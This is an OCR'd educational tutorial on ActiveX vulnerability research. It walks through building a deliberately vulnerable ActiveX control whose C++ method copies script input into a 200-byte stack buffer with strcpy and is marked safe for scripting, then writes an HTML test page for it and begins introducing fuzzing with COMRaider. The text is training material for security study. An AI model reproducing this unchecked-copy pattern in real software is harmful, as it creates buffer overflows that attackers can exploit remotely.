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DISCLAIMER

The goal of this document is to teach readers how to identify bug in ActiveX controls and exploit software security
vulnerabilities. This document has been produced for educational purpose only. The author of this document is not
and will not hold any responsibility for any illegal or unauthorized use of the information contained within this

document, or that is implied from it. Any use of this information is at the reader’s own risk.
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INTRODUCTION

An ActiveX control is essentially a simple OLE object that supports the lUnknown interface. It was introduced in 1996
by Microsoft as a development of its Component Object Model (COM) and Object Linking and Embedding (OLE)

technologies and is commonly used in its Windows Operating System.

ActiveX controls are highly portable COM objects, used extensively throughout Microsoft Windows platforms and,
especially, in web-based applications. COM objects, including ActiveX controls, can invoke each other locally and
remotely through interfaces defined by the COM architecture. The COM architecture allows for interoperability

among binary software components produced in disparate ways.

An ActiveX control is an executable program that can be automatically delivered over the Internet where it usually
runs within a browser. Contrasted against Java applets, which are created in their own special language, ActiveX
controls can be written in many different languages, including C++, Visual Basic, Visual C++, Delphi, Java, C#, and

Visual J++.

ActiveX controls can also be invoked from web pages through the use of a scripting language or directly with an HTML
<OBJECT> tag. If an ActiveX control is not installed locally, it is possible to specify a URL where the control can be
obtained. Once obtained, the control installs itself automatically if permitted by the browser. Once it is installed, it can

be invoked without the need to be downloaded again.

WHY ACTIVEX CONTROLS ARE IMPORTANT?

ActiveX makes it fast and easy for developers and Web producers to create unique, interactive Web sites that will
make the Internet fundamentally more useful and productive. ActiveX can be used with a wide variety of
programming languages from dozens of vendors, developers and Webmasters can make use of their current expertise
to more quickly create compelling content. They can also accommodate a wide range of users, as ActiveX will be
supported on multiple operating system platforms. And because ActiveX controls are based on the OLE specification,

controls written in one language can be re-used within controls written in another language.

Before ActiveX, Web content was static, 2-dimensional text and graphics. With ActiveX, Web sites started using

multimedia effects, interactive objects, and sophisticated applications that created a great user experience.

© HackSys Team - 2013 http://hacksys.vfreaks.com/



OTHER ACTIVEX TECHNOLOGIES

v’ ActiveX Data Objects (ADO)

v Active Server Pages (ASP)

v ActiveMovie, later renamed DirectShow

v" Active Messaging, later renamed Collaboration Data Objects
v Active Scripting, a technology for scripting ActiveX objects

v ActiveX Streaming Format (ASF), renamed Advanced Streaming Format, then to Advanced Systems Format

SCOPE OF VULNERABILITY

ActiveX controls can be signed or unsigned. A signed control provides a high degree of verification that the control was
produced by the signer and has not been modified. Signing does not guarantee the benevolence, trustworthiness, or

competence of the signer; it only provides assurance that the control originated from the signer.

ActiveX controls are binary code capable of taking any action that the user can take. ActiveX controls do not run in a

“sandbox” of any kind. Because of this, it is important to have a high degree of trust in the author of the control.

The security issues relating to ActiveX cannot be ignored. ActiveX controls are an integral part of systems and
applications, and they are required for essential functions in many environments. Though priorities many change from
organization to organization and user to user, it is important to understand the trade-offs between functionality and

security and to make informed decisions about the appropriate level of risk.

Most spyware programs at present use ActiveX Objects to install themselves onto your system. When a user visits
malicious website, the web browser prompts the user to download the ActiveX control to enable the website to be
viewed properly. Users see the Security Warning and don't treat it as a warning but as a sign of approval by VeriSign

of whatever other Certificate Authority approved it.

Really the only thing stopping the spyware getting installed will be the user not clicking "Yes" to accept the download.

© HackSys Team - 2013 http://hacksys.vfreaks.com/



TotaL NUMBER OF VULNERABILITIES

Total Vulnerabilities Identified, 2006-2011
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The total number of vulnerabilities for 2011 is based on research from independent security experts and vendors of
affected products. The yearly total also includes zero-day vulnerabilities that attackers uncovered and were

subsequently identified post-exploitation.

WEB BROWSER VULNERABILITIES

Browser Vulnerabilities In 2010 And 2011
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Web browsers are nowadays ever-present components for computing for both enterprise and individual users on

desktop and on mobile devices. Web browser vulnerabilities are a serious security concern due to their role in online

fraud and in the propagation of malicious code, spyware, and adware.

Web-based attacks can originate from malicious websites as well as from legitimate websites that have been
compromised to serve malicious content. Some content, such as media files or documents are often presented in
browsers via browser plug-in technologies. While browser functionality is often extended by the inclusion of various

plug-ins’, the addition of plug-in component also results in a wider potential attack surface for client-side attacks.

WEB BROWSER PLUG-IN VULNERABILITIES

Plugin Vulnerabilities In 2010 And 2011

-y
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Browser plug-ins’ are technologies that run inside the Web browser and extend its features, such as allowing
additional multimedia content from Web pages to be rendered. Although this is often run inside the browser, some
vendors have started to use sandbox containers to execute plug-ins in order to limit the potential harm of

vulnerabilities.

Many browsers now include various plug-ins’ in their default installation and, as well, provide a framework to ease the
installation of additional plug-ins’. Plug-ins’ now provide much of the expected or desired functionality of Web

browsers and are often required in order to use many commercial sites.

Vulnerabilities affecting these plug-ins’ are an increasingly favoured vector for a range of client-side attacks, and the

exploits targeting these vulnerabilities are commonly included in attack kits.
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ATL ACTIVEX CONTROL

Active Type Library is designed to simplify the process of creating efficient, flexible, lightweight controls. Creating an

ActiveX control using ATL is a whole lot easier than creating one from scratch.

CREATING VULACTIVEX.DLL PROJECT

We will create a new “ATL Project” with Visual C++ in Microsoft Visual Studio 2010.

Start “Visual Studio 2010” as Administrator.

Click on File --> New Project. Let’s name it as “vulActiveX” in this project.

.......

|.NET Framework 35~ | Sort by: | Default

0| B Search Installed Templates

[aT]|  ATL Project Visual C++ Type: Visual C++

Installed Templates

=] Visual C++
1 2 Library
CLR
General
MFC
Test
Win32

] Other Languages

+

+

] Other Project Types

#

] Database
Modeling Projects
# Test Projects

Online Templates

Name: I[vulActiveX l 3
Location: I C:\Users\Ashfaq S\Documents\visual studio 2010\Projects ;I Browse...
Solution name: IvuIAdiveX [v Create directory for solution

I Add to source control

OK

Click on “OK” button.

Now, ATL Project Wizard window will pop up.

A project that uses the Active Template
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B s

-
Welcome to the ATL Project Wizard
ATL
Overview These are the current project settings:
Application Settings e Dynamic-Link Library

Click Finish from any window to accept the current settings.

After you create the project, see the project's readme. txt file for information about
the project features and files that are generated.

I Next > I[ Finish \ Cancel

Click on “Next >” button.

. ]
VR Application Settings
4 OB
Overview
Application Settings Application type: SHPPOE Optioas
|’@) Dynamic-ink library (DLL)] 1 Allow merging of proxy/stub code
Executable (EXE) Support MFC
Service (EXE) Support COM+ 1.0
File type handler options:

File extension:

[ <Previous | Finish || Cancel

Select “Dynamic-link library (DLL)” as Application type. Now, click on “Finish” button.

© HackSys Team - 2013 http://hacksys.vfreaks.com/



Now, we will add an object or a control using the ATL Control Wizard.

Build
Rebuild

Clean

]

Project Only

Calculate Code Metrics
Profile Guided Optimization
Project Dependencies...
Project Build Order...

Build Customizations...

Solution Explorer v q
al 3|8

ution 'vulActiveX' (2 project

< Properties

(Y Open Folder in Windows Explorer

2  New ltem... Ctrl+Shift+A Add »
(4 Existing Item.. Shift+Alt+A References.. g C e BR W
4 NewFilter &4 Class Wizard... Ctrl+Shift+X  F3 >
$ Class... l &% View Class Diagram tiveX Project Properties
¥4 Resource... Set as StartUp Project | =]
Debug »
_9 Add Solution to Source Control... Name) vulActiveX
‘e T
g & ‘oot Namesp
X Remove Del
Rename F2
Unload Project
Rescan Solution
e)

ifies the project name.

Right click on “vulActiveX” project in Solution Explorer window. Next, click on Add--> Class...

Installed Templates

CLR
® ATL
MFC
Ces+

Name:

Location:

Sort by: | Default

Search Installed Ten

—1 Type: Visual C++

control

P C++Class Visual C++
v

gﬂ;v MFC Class Visual C++
2> ATLSimple Object Visual C++
‘/)A\@ ATL Control Visual C++
g ATL Dialog Visual C++
% ATL OLEDB Consumer Visual C++
j ATL Property Page Visual C++
j Windows Form Visual C++
_F!_IMJ_Q] MFC Class From Typelib Visual C++
o @E ATL Active Server Page Component Visual C++

Component Class Visual C++
;.IJS% MFC Class From ActiveX Control Visual C++

| o
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Now, choose “ATL Control” and click on “Add” button.

As soon as we click on Add button, we will see ATL Control Wizard window.

AT

Names
Options
Interfaces
Appearance

Stock Properties

Welcome to the ATL Control Wizard

C++

Short name: .h file:

hTLAcnvexControlll 1 ATLActivexControl.h D

Class: .cpp file:

CATLActivexControl ATLActivexControl.cpp LJ
oM

Codass: Type:

ATLActivexControl ATLActivexControl Class

Interface: ProgID:

IATLActivexControl

2
[ ThNext> 1| Finish | [ Cancel

]

Input “ATLActivexControl” as “Short name” and then click on “Next” button.

ATL

Names
Options
Interfaces
Appearance

Stock Properties

Options

Control type:

@ Standard control
Composite control
DHTML control

Minimal control
Aggregation:

Q) Yes
No
Only

Threading model:
Single
@ Apartment

Interface:
@ Dual

Custom

Support:
V| Connection points | 1

Licensed

Click here for unsupported Smart Device Options

2

(

|._<Previous }l

Next> J| Finish | [

Cancel

Put a check mark on “Connection points” and click on “Next >” button.

© HackSys Team -2013
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Now, we will add “IObjectSafety” interface to our ActiveX. Adding “IObjectSafety” to our control, ensures that our
ActiveX is marked as Safe for Scripting and Initialization.

[/AL l Interfaces

Names Not supported:
Options I0bjectWithSite [?

[PersistStorag )
Interfaces IPersistStreamlnit [» )

IPropertyNotifySink —J | IQuickActivate
A
Skl IServiceProvider | ISupportErrorInfo
Stock Properties ISpecifyPropertyPages {< [

=]

Click here for unsupported Smart Device Options

ous ) [hext> ] (" Fsh ) [ Cancel )

Click on “IObjectSafety” and move it from “Not supported” column to “Supported” column. Now, click on “Next >”
button.

Jpam— Appearance
[ATL |

Names View status: Other:

Options V| Opaque V| Normalized DC
Interfaces | Solid background Windowed only
Appearance Add control based on: Insertable
Stock Properties (none) v

Miscellaneous status:
Invisible at run time
Acts like button
Acts like label

Click here for unsupported Smart Device Options

[ < Previous ] Next > 'LJnnsh ] [ Cancel |

Leave all the options as default values, and then click on “Next >” button.
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As this ActiveX is very simple in nature, we will leave the Stock Properties to its default values.

[ATL)

Names
Options
Interfaces
Appearance

Stock Properties

Stock Properties

Not supported: Supported:

Al (=)
Auto Size -
Background Color
Background Style
Border Color
Border Style
Border Visible
Border Width
Caption

Draw Mode

Draw Style

Draw Width o,

m

Click here for unsupported Smart Device Options

< Previous |

L

Finish

|

Cancel |

Lastly, click on “Finish” button to complete the ATL Control Wizard.

Now, switch to “Class View” and click on “IATLActivexControl”.

© HackSys Team -2013
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<Search> - d
4 7] vulActiveX

= Maps

@ Global Functions and Varial
= Macros and Constants

1% CATLActivexControl

4% CProxy_IATLActivexControl
4% CvulActiveXModule

o vulActiveXlib
33 vulActiveXPS
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Right click on “IATLActivexControl” interface and select on “Add” and then click on “Add Method...”

View Class Diagram

‘w Do

Go To Definition

+

Go To Declaration

<% wlll

Browse Definition

+

Find All References

Filter To Type

F12

Ctrl+Alt+F12

Ly | = =
| <Search>

4 7] vulActiveX
= Maps

E= s

2>

@ Global Functions and Varia
= Macros and Constants

44 CATLActivexControl

% CProxy_IATLActivexContro
4% CvulActiveXModule

g ticumconal

|_v_ Add Method.. [ Add

>

[Af Add Property... 144 Class Wizard...

Copy

Sort Alphabetically
Sort By Object Type
Sort By Object Access
Group By Object Type

Properties

Here comes the “Add Method Wizard” window.

Ctrl+Shift+X

Ctrl+C

"

vulActiveXLib
ActiveXPS

AW BE P. IR MW T
v A

rexControl VCCodelnterf; -

j Welcome to the Add Method Wizard
Names
IDL Attributes
Parameter attributes:
in

Method name:

BufferOverflow

[ Next>

|

Finish

]

Cancel ]

Enter “BufferOverflow” as “Method name”. We will add two parameters to “BufferOverflow” method, first

parameter is “IN” type and the second parameter is “OUT” type. Next, click on “Finish” button.
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Method Name: BufferOverflow

First Parameter Details

Parameter attributes | Parameter type | Parameter name
in BSTR sBuffer

Second Parameter Details

Parameter attributes | Parameter type | Parameter name
out, retval LONG* retVal

After we have added parameters to our Method “BufferOverflow”’, we will write codes for it.

Switch to Solution Explorer and double click on ATLActivexControl.cpp and write the below given code.

—————————— ATLActivexControl.cpp ----------

// ATLActivexControl.cpp : Implementation of CATLActivexControl
#include "stdafx.h"
#include "ATLActivexControl.h"

// CATLActivexControl

STDMETHODIMP CATLActivexControl: :BufferOverflow(BSTR sBuffer, LONG* retVal)
{

//USES_CONVERSION macro avoids compiler errors

//facilitates use of String Conversion macro

USES_CONVERSION;

char buffer[200] = {0};

//To convert a Unicode string to ANSI
//use ATL String Conversion macro W2A()
char *tmp = W2A(sBuffer);

//Vulnerable code 'strcpy' is vulnerable to buffer overflow attacks
//it does not validate user input
strcpy (buffer, tmp);

//Output the message via MesasgeBoxA Win32 API
MessageBoxA(@,buffer,"vulActiveX Control",0);
return S_OK;

© HackSys Team - 2013 http://hacksys.vfreaks.com/




- :_1_9.5'-‘""{

] Solution 'vulActiveX' (2 projects)

7 vulActiveX
@4 External Dependencies

[_J Generated Files
[ Header Files

Implementation of CATLActivexControl

1 Resource Files
4 |7 Source Files
€+ dlimain.cpp

¢+ stdafx.cpp

(Global Scope)
// ATLActivexControl.cpp

"stdafx.h"
"ATLActivexControl.h"

#include
#include "

// CATLActivexControl
-)STDMETHODIMP CATLActivexControl::BufferOverflow(BSTR sBuffer, LONG* retval)

{

= //USES_CONVERSION macro avoids compiler errors
//facilitates use of String Conversion macro

USES_CONVERSION;

char buffer[200] = {@};

//To convert a Unicode string to ANSI

//use ATL String Conversion macro W2A()

W2A(sBuffer);

strcpy' is vulnerable to buffer overflow attacks

char *tmp
//Vulnerable code
/it does not validate user input

strcpy(buffer, tmp);
lesasgeBoxA Win32 API

//Output the message via !
MessageBoxA(@,buffer, "vulActiveX Control"”,0);

return S_OK;

vulnerable code in our ActiveX control.

€+ vulActiveX.cpp
vulActiveX.def

B vulActiveX.idl
|#] ATLActivexControl.htm
»

"

Properties
ATl ActivexControl.cpp File Prope:
oz 2h| =]

4
(Name) ATLActivexContr
Content False

File Typ C/C++ Code

fa

Included In Pr True
Relative Path ATLActivexContr

(Name)

L' Names the file object.
|

At this point, our ActiveX DLL is ready and can be compiled. Before compiling the vulActiveX project, let's examine the

EXAMINE VULNERABLE CODE
Let’s build the solution and check the output of the Output window. As we are using strcpy function in our

BufferOverflow method, compiler should show a warning message regarding the usage of strcpy function.

B

Win32

F7
Ctrl+Alt+F7

On the menu bar of Visual Studio 2010, click on Build --> Build Solution.
Buﬁ Debug Team Data Tools VMware A:c;k;dure Test Analyze Window Hel

e Edit View Project
5 Build Solution

B GEE R
Rebuild Solution
Clean Solution

3 Ry ax T
Y] Build vulActiveX
Rebuild vulActiveX
Clean vulActiveX
»

'l W Buf

Imentation of CATLActivexControl

s General

There are no usable contr
Project Only

this group. Drag an item «
this text to add it to th
toolbox.
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1>Build started ©8-07-2012 11:50:30 AM.
1>InitializeBuildStatus:

Build started: Project: vulActiveX, Configuration: Debug Win32

1> Creating "Debug\vulActiveX.unsuccessfulbuild" because "AlwaysCreate" was specified.
1>Midl:

1> Processing .\vulActiveX.idl

1> wvulActiveX.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\oaidl.idl
1> oaidl.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.@A\include\objidl.idl
1> objidl.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.@A\include\unknwn.idl
1> unknwn.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\wtypes.idl
1> wtypes.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\basetsd.h
1> basetsd.h

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.@A\include\guiddef.h
1> guiddef.h

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.@A\include\ocidl.idl
1> ocidl.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\oleidl.idl
1> oleidl.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\servprov.idl
1> servprov.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\urlmon.idl
1> wurlmon.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\msxml.idl
1> msxml.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\oaidl.acf
1> oaidl.acf

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\ocidl.acf
1> ocidl.acf

1>ClCompile:

1> stdafx.cpp

1> vulActiveX.cpp

1> ATLActivexControl.cpp

1>c:\users\ashfaq $\documents\visual studio 201@\projects\vulactivex\vulactivex\atlactivexcontrol.cpp(22):
warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To
disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.

1> c:\program files\microsoft visual studio 10.0\vc\include\string.h(105) : see declaration of
'strcpy’
1> Generating Code...

1> dllmain.cpp

1> wvulActiveX_i.c

1>Link:

1> Creating library C:\Users\Ashfaq $\Documents\visual studio
2010\Projects\vulActiveX\Debug\vulActiveX.1lib and object C:\Users\Ashfaq $\Documents\visual studio
2010\Projects\vulActiveX\Debug\vulActiveX.exp

1>LinkEmbedManifest:

1> vulActiveX.vcxproj -> C:\Users\Ashfaq $\Documents\visual studio
2010\Projects\vulActiveX\Debug\vulActiveX.dll

1>FinalizeBuildStatus:

1> Deleting file "Debug\vulActiveX.unsuccessfulbuild".
1> Touching "Debug\vulActiveX.lastbuildstate".

1>

1>Build succeeded.

1>

1>Time Elapsed 00:00:17.04
Skipped Build: Project: vulActiveXPS, Configuration: Debug Win32
2>Project not selected to build for this solution configuration

Build: 1 succeeded, © failed, @ up-to-date, 1 skipped
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Let’s have a look at this small piece of information from the Output window.

1>c:\users\ashfaq $\documents\visual studio 201@\projects\vulactivex\vulactivex\atlactivexcontrol.cpp(22):
This function or variable may be unsafe.
disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.

1> c:\program files\microsoft visual studio 10.0\vc\include\string.h(105) : see declaration of

warning C4996: 'strcpy':

'strcpy’

Consider using strcpy_s instead. To

As expected, we have a warning message that strcpy function may be unsafe and consider using strcpy_s instead.

strcpy function does not validate the user input and it’s usage may lead to stack overwrite. Hence, usage of strcpy

function makes our ActiveX control vulnerable to buffer overflow attacks.

BUiLDING VULACTIVEX CONTROL

Before building the project, we will have to change the project configuration from Debug to Release.

Right click on vulActiveX solution and select “Configuration Manager...”

R sBuffer, LONG * retVal) -l

6553

2
—

Build Solution F7
Rebuild Solution Ctrl+Alt+F7

Clean Solution
Batch Build...

Configuration Manager...
Calculate Code Metrics

Project Dependencies...

Project Build Order...
Add »
Set StartUp Projects...

Add Solution to Source Control...

Rename F2

Open Folder in Windows Explorer

~
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20IUtion explorer

=
g Solution 'vulActiveX' (2 projects)

3;1 vulActiveX
@4 External Dependencies
| Generated Files
L Header Files
1 Resource Files
4 |7 SourceFiles
C+9] ATLActivexControl.cpj
¢+ dllmain.cpp
¢+ stdafx.cpp
¢+ vulActiveX.cpp
=] vulActiveX.def
) vulActiveX.idl
] ATLActivexControl.htm
.| ReadMe.txt
ledl vulActiveXPS
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Here comes the Configuration Manager window.

-onfiguration Manager

Active solution configuration: Active solution platform:
'Debug vJ ;Win32 v |
Project contexts (check the project configurations to build or deploy):
Project Configuration Platform Build
vulActiveX I Debug [~ I Win32 F\ v
vulActiveXPS [Debug Jwin32

Close

Now, we will have to change the Configuration setting from Debug to Release for both vulActiveX and vulActiveXPS

projects.
_onfiguration Manager e -
Active solution configuration: Active solution platform:
| Debug v| [win32 v

Project contexts (check the project configurations to build or deploy):

Project Configuration 1 Platform Build
vulActiveX I Release l\"-’in32 v
vulActiveXPS {Debug ] win32 [~]

Debu

==,

<New...>

<Edit...>

| ——

Once we have changed the Configuration settings from Debug to Release, click on Close button.
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At this point, we are ready to build the project.

Click on Build --> Build Solution. You may press F7 key on your keyboard to build the solution.

e

Edit

4 General

There are no usable contr¢
this group. Drag an item «
this text to add it to th
toolbox.

View Project
Hr - T d o

j, ) [k_, A>

s

k4

Build Solution
Rebuild Solution

Clean Solution

Build vulActiveX

Rebuild vulActiveX

Clean vulActiveX

Project Only

Profile Guided Optimization

Batch Build...

Configuration Manager...

> Camnile

Build Debug Team Data Tools VMware Architecture Test Analyze Window Hel;

F7 ~
Ctrl+Alt+F7

Win32 >

imentation of CATLActivex

:BufferOverflow(BSTR sBuffer, L

Cerla E7

Let’s verify whether the building process completed successfully. Check the Output window.

1>------ Build started: Project: vulActiveX, Configuration: Release Win32 ------
1>Build started 08-07-2012 01:14:49 PM.

1>InitializeBuildStatus:

1> Creating "Release\vulActiveX.unsuccessfulbuild" because "AlwaysCreate" was specified.
1>Midl:

1> Processing .\vulActiveX.idl

1> wvulActiveX.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\oaidl.idl
1> oaidl.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.@A\include\objidl.idl
1> objidl.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.@A\include\unknwn.idl
1> unknwn.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\wtypes.idl
1> wtypes.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\basetsd.h
1> basetsd.h

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.@A\include\guiddef.h
1> guiddef.h

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\ocidl.idl
1> ocidl.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\oleidl.idl
1> oleidl.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.@A\include\servprov.idl
1> servprov.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\urlmon.idl
1> wurlmon.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.@A\include\msxml.idl
1> msxml.idl

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\oaidl.acf
1> oaidl.acf

1> Processing C:\Program Files\Microsoft SDKs\Windows\v7.0A\include\ocidl.acf
1> ocidl.acf

1>ClCompile:

© HackSys Team -2013

http://hacksys.vfreaks.com/



1> stdafx.cpp

1> ATLActivexControl.cpp

1>ATLActivexControl.cpp(22): warning C4996: 'strcpy': This function or variable may be unsafe. Consider
using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
1> C:\Program Files\Microsoft Visual Studio 10.0\VC\include\string.h(105) : see declaration of
'strcpy’

1> vulActiveX.cpp

1> Generating Code...

1> dllmain.cpp

1> wvulActiveX_ i.c

1>Link:

1> Creating library C:\Users\Ashfaq $\Documents\visual studio
2010\Projects\vulActiveX\Release\vulActiveX.1lib and object C:\Users\Ashfaq $\Documents\visual studio
2010\Projects\vulActiveX\Release\vulActiveX.exp

1> vulActiveX.vcxproj -> C:\Users\Ashfagq $\Documents\visual studio
2010\Projects\vulActiveX\Release\vulActiveX.d1ll

1>FinalizeBuildStatus:

1> Deleting file "Release\vulActiveX.unsuccessfulbuild".

1> Touching "Release\vulActiveX.lastbuildstate".

1>

1>Build succeeded.

1>

1>Time Elapsed ©0:00:10.96

2>------ Skipped Build: Project: vulActiveXPS, Configuration: Release Win32 ------

2>Project not selected to build for this solution configuration
========== Build: 1 succeeded, © failed, © up-to-date, 1 skipped ==========

Solution built successfully. The vulActiveX.d1l is located at the below given path.

1>Link:

1> Creating library C:\Users\Ashfaq $\Documents\visual studio
2010\Projects\vulActiveX\Release\vulActiveX.1lib and object C:\Users\Ashfaq $\Documents\visual studio
2010\Projects\vulActiveX\Release\vulActiveX.exp

1> vulActiveX.vcxproj -> C:\Users\Ashfaq $\Documents\visual studio
2010\Projects\vulActiveX\Release\vulActiveX.d1ll
1>FinalizeBuildStatus:

1> Deleting file "Release\vulActiveX.unsuccessfulbuild".

1> Touching "Release\vulActiveX.lastbuildstate".

1>

1>Build succeeded.

Navigate to C: \Users\Ashfaq $\Documents\visual studio 2010\Projects\vulActiveX\Release\

i ki
Organize v Include in library ¥ Share with v Burn New folder
Name Date modified Type Size
{ Favorites ‘ g kL . i 5
Bl Desktop %/ vulActiveX.dll 08-07-2012 13:15 :
& Downloads £ vulActiveX.exp 08-07-2012 13:15 Exports Library File
Recent Places %8 vulActiveX.lib 08-07-201213:15 Object File Libran

~ L GRS
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TESTING VULACTIVEX CONTROL

As we have already built the solution, it will be a better idea to test the control for the functionality before we start
writing the HTML file.

Testing our vulActiveX control will demonstrate whether our control is working as expected.

Click on Tools --> ActiveX Test Container

........ £ AlCiiilecidic L CSL Alldlysc Ve ldOwW

5% Attach to Process... Ctrl+Alt+P

Connect to Database...

<
a5

M Connect to Server...
#8 Add SharePoint Connection...
\3 Code Snippets Manager... Ctrl+K, Ctrl+B
Choose Toolbox Items...
Add-in Manager...
Macros LS
&Y Extension Manager...
Create GUID
Dotfuscator Software Services
Error Lookup
ATL/MFC Trace Tool
ILDasm
Spy++
Visual Studio Command Prompt
ActiveX Test Container
-1’, WCF Service Configuration Editor
External Tools...
Import and Export Settings...

Customize...

Options...

If you do not see ActiveX Test Container in your Visual Studio 2010, probably TstCon.exe is not added to External
Tools...

Download Link: http://blogs.msdn.com/b/vcblog/archive/2010/03/18/activex-test-container-application-is-still-
available.aspx
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Here comes the ActiveX Control Test Container window.

54 Untitled - ActiveX Control Test Contail

File Edit Container Control View Options Tools Help

Dz E &t PR s &K ® HunMacro:l _V_,

<

For Help, press F1

Now, we will insert the vulActiveX control to it and invoke the methods. Click on Edit --> Insert New Control.

inle Edit Container Control View Options Tools Help

LD & B # | ? | RunMaciol ~|

p
Insert Control

dobe PHE Beade
ATLActivexControl Class
buttonbar Llass
CommonDialog Class Cancel
Contact Selector
CTreeView Control
DeviceManager Class
DirList Class
HHCtl Object
HHCUl Object Y l

Implemented Categories... l

< m ) Required Categories...

| C:\Users\Ashfaq $\Do...\vuléctivex.dl | [ lanore required categories

\

For Help, press F1
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Select ATLActivexControl Class and then click on OK button.

T Untitled - ActiveX Control Test i | | >
File Edit Container Control View Options Tools Help
Dl & G e BB F 2 ® RunMacro:l L]
i
- ATLActivexControl Properties... |
I Invoke Methods... I
Activate
Deactivate
- UlActivate

UlDeactivate

Cut
Copy
Delete

Bring to Front
—_——
Send to Back

ATLActivexControl Class Object

Invoke the selected control's methods Active Windowless

Right click on ATLActivexControl and select “Invoke Methods...” from the context menu.

File Edit Container Control View Options Tools Help
DM %® S o L #|I0 ? ||RunMacal =

Invoke Methods ? Y

Method Name: 3
[ButerDverfiow (Method) |
Close

1 ATLAct Parameters:

Parameter Value Type

sBuffer HackSys Team - Panthera VT_BSTR
P ter Value: 1 Parameter Type: 2
IHackSys Team - Panthera I IVT_BSTR L] l Set Value
Retun Value: vulActiveX Control [ =
[orvT_14) r

Exception Description

l

Exception Source: A

|

For Help, press F1 Active Windowless

HackSys Team - Panthera
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Input “HackSys Team — Panthera” as Parameter Value. Now, click on Set Value button and lastly click on Invoke

button.

You should see a message box with the data that we entered in Parameter Value text box.

We have successfully tested our vulActiveX control and it’s working as expected.

WRITING HTML To TEST VULACTIVEX CONTROL

Locate ATLActivexControl.htm in Solution Explorer. Double click on it to open the source code for editing.

Client Objects & Events 'I (No Events) v] =) _7)
ZI<KHTML> + 3 Solution 'vulActiveX' (2 project
-] <HEAD> = B :’,1 vulActiveX
<TITLE>ATL 8.0 test page for object ATLActivexControl</TITLE> {ad External Dependencies
</HEAD> 1 Generated Files
=1<BODY> 1 Header Files
1 Resource Files
<OBJECT ID="ATLActivexControl" CLASSID="CLSID:C44CBF61-7844-4C4B-BC77-7643FD70848E"></0BIECT> 4 L SourceFiles
¢+ ATLActivexControl.c
¢+ dllmain.cpp

</BODY>

¢+ stdafx.cpp
</HTML>

¢+ vulActiveX.cpp
=) vulActiveX.def

] ATLActivexControl.htm

|, ReadMe.tdt
7 vulActiveXPS

Our planis to pass the arguments to the BufferOverflow method in vulActiveX.d11 using Java Script.

<OBJECT ID="ATLActivexControl" CLASSID="CLSID:C44CBF61-7844-4C4B-BC77-7643FD70848E"></0OBJECT>

The above code loads the vulActiveX.d1l1 control identified by GUID. Visual Studio automatically assigns a unique

GUID to our control so that the control can be identified.

Replace the content of ATLActivexControl.htm with the below given HTML content. | have commented the source

code for better understanding. If you face any issue, please feel free to write to us.
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-----—--- ATLActivexControl.htm ---—--—---

<html>

<head>
<title>ATLActivexControl BufferOverflow</title>
<script language="javascript" type="text/javascript">

//Function to call BufferOverflow method from vulActiveX.dll
function BOF() {

//Assigns _vulActiveX variable to ATLActivexControl
var _vulActiveX = document.getElementById("ATLActivexControl");

//Pass the parameter to BufferOverflow function
_vulActiveX.BufferOverflow("HackSys Team - Panthera");

}

</script>
</head>
<body>
<object id="ATLActivexControl" classid="CLSID:C44CBF61-7844-4C4B-BC77-7643FD70848E">
</object>
<div>
<h1>
vulActiveX BufferOverflow</h1>
<div>
<h2>
HackSys Team - Panthera</h2>
<br />
<b>
<p>
Website: <a
href="http://hacksys.vfreaks.com/">http://hacksys.vfreaks.com/</a></p>
<p>
Email: <a href="mailto:hacksysteam@hotmail.com">hacksysteam@hotmail.com</a></p>
</b>
</div>
<p>
Click on the button to invoke <b>BufferOverflow</b> method.</p>
<input type="button" onclick="BOF();" value="Invoke BufferOverflow" />
</div>
</body>
</html>
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VULNERABILITY RESEARCH

In this phase we will try to find whether vulActiveX.dll is really vulnerable to buffer overflow attacks.
Vulnerability exists when we are able to write beyond the stack. If we are able to control EIP (Extended Instruction
Pointer) register or overwrite Structured Exception Handler, there are changes that we may exploit the program. The
best way to find a bug in a program is to disassemble it using IDA Pro or Immunity Debugger and read and analyse the

vulnerability. But, this may take many hours of tough dedication.

Simplest way of finding a bug is by fuzzing the program. Fuzzing is a dynamic-analysis technique that consists of

testing an application by providing it with malformed or unexpected input.

COMRAIDER AcTIVEX FUZZER

COMRaider is an application designed to help you fuzz COM object interfaces. COMRaider is a mix of a VB6 interface
and some VC6 dlls. All of the main interface code and database access is done in VB for simplicity. Disassembly engine

(olly.dll), debugger core (crashmon.dll) and API Logger (logger.dll) have been done in VC6.

& ‘ ComRaider

IDEFENSE

" Select COM Server
Step 1 - Select the COM Server you wish to test.
(¢ Choose ActiveX dll or ocx file directly
(" Scan a directory for registered COM servers
¢~ Manually Enter the GUID
(" Search by ProglD
" View controls with KillBit set
(" Choose from controls that should be loadable in IE

